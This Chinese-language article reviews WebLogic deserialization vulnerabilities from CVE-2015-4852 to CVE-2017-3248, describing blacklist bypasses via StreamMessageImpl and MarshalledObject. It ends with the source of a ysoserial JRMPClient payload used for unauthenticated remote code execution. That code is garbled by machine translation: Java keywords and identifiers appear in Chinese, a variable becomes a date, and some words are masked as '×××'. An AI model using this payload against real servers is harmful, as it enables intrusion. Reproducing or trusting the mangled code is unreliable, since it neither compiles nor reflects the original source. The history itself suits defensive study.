Weblogic反序列化漏洞历史

  

Weblogic反序列化漏洞历史

  

0 x00 weblogic简介

  

WebLogic是美国甲骨文公司出品的一个应用程序服务器,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发,集成,部署和管理大型分布式网络应用,网络应用和数据库应用的Java应用服务器。

  

Weblogic直接反序列化漏洞回顾

  
1。cve - 2015 - 4852
  

利用Java反序列化和Apache Commons集合这一基础类库来×××,实现远程代码执行。
查看cve - 2015 - 4852的补丁,发现weblogic采用黑名单的形式来修复这个漏洞,这中修复方案很被动,存在被绕过风险,只要发现可用并且未在黑名单之外的反序列化类,便可造成新的反序列化×××。

  
2。cve - 2016 - 0638
  

weblogic反序列化的点有三个,黑名单ClassFilter.class也作用于这三个位置:

  
 <代码> weblogic.rjvm.InboundMsgAbbrev.class: ServerChannelInputStream
  weblogic.rjvm.MsgAbbrevInputStream.class
  weblogic.iiop.Utils.class  
  

使用weblogic.jms.common.StreamMessageImpl的readExternal()绕过

  
3。cve - 2016 - 3510
  

原理是将反序列化的对象封装进了weblogic.corba.utils。MarshalledObject,然后再对MarshalledObject进行序列化,生成负载字节码。反序列化时MarshalledObject不在WebLogic黑名单里,可正常反序列化,在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

  

0 x02 Weblogic JRMP反序列化漏洞回顾

  

<强> JRMP协议:Java远程消息交换协议JRMP即Java远程MessagingProtocol,是特定于Java技术的,用于查找和引用远程对象的协议。这是运行在Java远程方法调用RMI之下,TCP/IP之上的线路层协议。
<强> RMI :是远程方法调用的简称,是J2SE的一部分,
能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,
可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,
可以像调用本地Java对象的方法一样调用远程对象的方法,
使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

  
1。cve - 2017 - 3248
  

这个漏洞就是利用RMI机制的缺陷,通过JRMP协议达到执行任意反序列化负载的目的。使用ysoserial的JRMPLister,这将会序列化一个RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端TCP的连接获取RMI注册。此连接使用JRMP协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
JRMPLister代码:

  
 <代码>包ysoserial.payloads;
  
  进口java.lang.reflect.Proxy;
  进口java.rmi.registry.Registry;
  进口java.rmi.server.ObjID;
  进口java.rmi.server.RemoteObjectInvocationHandler;
  进口java.util.Random;
  
  进口sun.rmi.server.UnicastRef;
  进口sun.rmi.transport.LiveRef;
  进口sun.rmi.transport.tcp.TCPEndpoint;
  进口ysoserial.payloads.annotation.Authors;
  进口ysoserial.payloads.annotation.PayloadTest;
  进口ysoserial.payloads.util.PayloadRunner;/* *
  *
  *
  * UnicastRef。newCall (RemoteObject操作[],int,长)
  * DGCImpl_Stub。脏(ObjID[]、长、租赁)
  * DGCClient EndpointEntry.makeDirtyCall美元(Set长)
  * DGCClient EndpointEntry.registerRefs美元(List(端点)
  * DGCClient EndpointEntry.lookup美元(端点)
  * DGCClient。registerRefs(端点,List{
  
  公共注册中心getObject(最终字符串命令){抛出异常
  
  字符串主机;
  int端口;
  int 9=command.indexOf (“:”);
  如果(9月& lt;0){
  随机端口=new () .nextInt (65535);
  主机=命令;
  }
  其他{
  主机=命令。substring(0、9月);
  端口=Integer.valueOf(命令。substring (9 + 1));
  }
  ObjID id=new ObjID(新的随机().nextInt ());//RMI注册表
  TCPEndpoint te=new TCPEndpoint(主机、端口);
  UnicastRef ref=new UnicastRef(新LiveRef (id、te假));
  RemoteObjectInvocationHandler obj=new RemoteObjectInvocationHandler (ref);
  注册代理=(注册中心)Proxy.newProxyInstance (JRMPClient.class.getClassLoader(),新类[]{
  Registry.class
  },obj);
  返回代理;
  }
  
  最后公共静态void main (String [] args){抛出异常
  Thread.currentThread () .setContextClassLoader (JRMPClient.class.getClassLoader ());
  PayloadRunner.run (JRMPClient.class, args);
  }
  }

Weblogic反序列化漏洞历史